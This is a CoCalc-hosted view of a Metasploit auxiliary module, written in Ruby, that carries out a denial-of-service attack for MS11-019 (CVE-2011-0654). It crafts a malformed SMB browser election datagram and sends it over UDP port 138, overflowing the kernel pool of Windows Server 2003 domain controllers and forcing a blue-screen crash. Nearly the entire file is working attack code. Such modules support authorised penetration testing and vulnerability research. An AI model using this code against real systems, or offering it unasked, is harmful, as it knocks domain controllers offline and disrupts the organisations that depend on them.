CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
#include Msf::Exploit::Remote::SMB::Client
9
include Auxiliary::Dos
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Microsoft Windows Browser Pool DoS',
14
'Description' => %q{
15
This module exploits a denial of service flaw in the Microsoft
16
Windows SMB service on versions of Windows Server 2003 that have been
17
configured as a domain controller. By sending a specially crafted election
18
request, an attacker can cause a pool overflow.
19
20
The vulnerability appears to be due to an error handling a length value
21
while calculating the amount of memory to copy to a buffer. When there are
22
zero bytes left in the buffer, the length value is improperly decremented
23
and an integer underflow occurs. The resulting value is used in several
24
calculations and is then passed as the length value to an inline memcpy
25
operation.
26
27
Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and
28
causes considerable damage to kernel heap memory. While theoretically possible,
29
it does not appear to be trivial to turn this vulnerability into remote (or
30
even local) code execution.
31
},
32
'References' =>
33
[
34
[ 'CVE', '2011-0654' ],
35
[ 'BID', '46360' ],
36
[ 'OSVDB', '70881' ],
37
[ 'MSB', 'MS11-019' ],
38
[ 'EDB', '16166' ],
39
[ 'URL', 'https://seclists.org/fulldisclosure/2011/Feb/285' ]
40
],
41
'Author' => [ 'Cupidon-3005', 'jduck' ],
42
'License' => MSF_LICENSE
43
))
44
45
register_options(
46
[
47
Opt::RPORT(138),
48
OptString.new('DOMAIN', [ true, "The name of the domain that the target controls" ])
49
])
50
end
51
52
53
def run
54
55
connect_udp
56
@client = Rex::Proto::SMB::Client.new(udp_sock)
57
58
ip = Rex::Socket.source_address(datastore['RHOST'])
59
ip_src = Rex::Socket.resolv_nbo(ip, false)
60
61
svc_src = "\x41\x41\x00" # pre-encoded?
62
name_src = Rex::Text.rand_text_alphanumeric(15) # 4+rand(10))
63
64
svc_dst = "\x42\x4f\x00" # pre-encoded?
65
name_dst = datastore['DOMAIN']
66
67
pipe = "\\MAILSLOT\\BROWSER"
68
69
election =
70
"\x08" + # Election Request
71
"\x09" + # Election Version
72
"\xa8" + # election desire - Domain Master & WINS & NT
73
"\x0f" + # Browser Protocol Major Version
74
"\x01" + # Browser Protocol Minor Version
75
"\x20" + # Election OS (NT Server)
76
"\x1b\xe9\xa5\x00" + # Uptime
77
"\x00\x00\x00\x00" + # NULL... Padding?
78
#("A" * 4) + "\x00"
79
Rex::Text.rand_text_alphanumeric(410) + "\x00"
80
81
nbdghdr =
82
"\x11" + # DIRECT_GROUP datagram
83
"\x02" + # first and only fragment
84
[rand(0xffff)].pack('n') + # Transaction Id (DGM_ID)
85
ip_src +
86
"\x00\x8a" + # Source Port (138)
87
"\x00\xa7" + # DGM_LENGTH, patched in after
88
"\x00\x00" # PACKET_OFFSET
89
90
nbdgs = nbdghdr +
91
half_ascii(name_src, svc_src) +
92
half_ascii(name_dst, svc_dst)
93
94
# A Trans request for the mailslot
95
nbdgs << trans_mailslot(pipe, '', election)
96
97
# Patch up the length (less the nb header)
98
nbdgs[0x0a, 2] = [nbdgs.length - nbdghdr.length].pack('n')
99
100
print_status("Sending specially crafted browser election request..")
101
#print_status("\n" + Rex::Text.to_hex_dump(nbdgs))
102
udp_sock.put(nbdgs)
103
104
print_status("The target should encounter a blue screen error now.")
105
106
disconnect_udp
107
108
end
109
110
111
# Perform a browser election request using the specified subcommand, parameters, and data
112
def trans_mailslot(pipe, param = '', body = '')
113
114
# Null-terminate the pipe parameter if needed
115
if (pipe[-1,1] != "\x00")
116
pipe << "\x00"
117
end
118
119
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_PKT.make_struct
120
@client.smb_defaults(pkt['Payload']['SMB'])
121
122
setup_count = 3
123
setup_data = [1, 0, 2].pack('v*')
124
125
data = pipe + param + body
126
127
base_offset = pkt.to_s.length + (setup_count * 2) - 4
128
param_offset = base_offset + pipe.length
129
data_offset = param_offset + param.length
130
131
pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_TRANSACTION
132
pkt['Payload']['SMB'].v['Flags1'] = 0x0
133
pkt['Payload']['SMB'].v['Flags2'] = 0x0
134
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
135
136
pkt['Payload'].v['ParamCountTotal'] = param.length
137
pkt['Payload'].v['DataCountTotal'] = data.length
138
pkt['Payload'].v['ParamCountMax'] = 0
139
pkt['Payload'].v['DataCountMax'] = 0
140
141
pkt['Payload'].v['ParamCount'] = param.length
142
pkt['Payload'].v['ParamOffset'] = param_offset if param.length > 0
143
pkt['Payload'].v['DataCount'] = body.length
144
pkt['Payload'].v['DataOffset'] = data_offset
145
pkt['Payload'].v['SetupCount'] = setup_count
146
pkt['Payload'].v['SetupData'] = setup_data
147
148
pkt['Payload'].v['Payload'] = data
149
150
exploit = pkt.to_s
151
152
# Strip off the netbios header (thx, but no thx!)
153
exploit[4, exploit.length - 4]
154
end
155
156
157
def half_ascii(name, svc)
158
ret = " "
159
name.unpack('C*').each { |byte|
160
ret << [0x41 + (byte >> 4)].pack('C')
161
ret << [0x41 + (byte & 0xf)].pack('C')
162
}
163
left = 15 - name.length
164
if left > 0
165
ret << "\x43\x41" * left
166
end
167
168
# In our case, svc is already encoded..
169
ret << svc
170
ret
171
end
172
end
173
174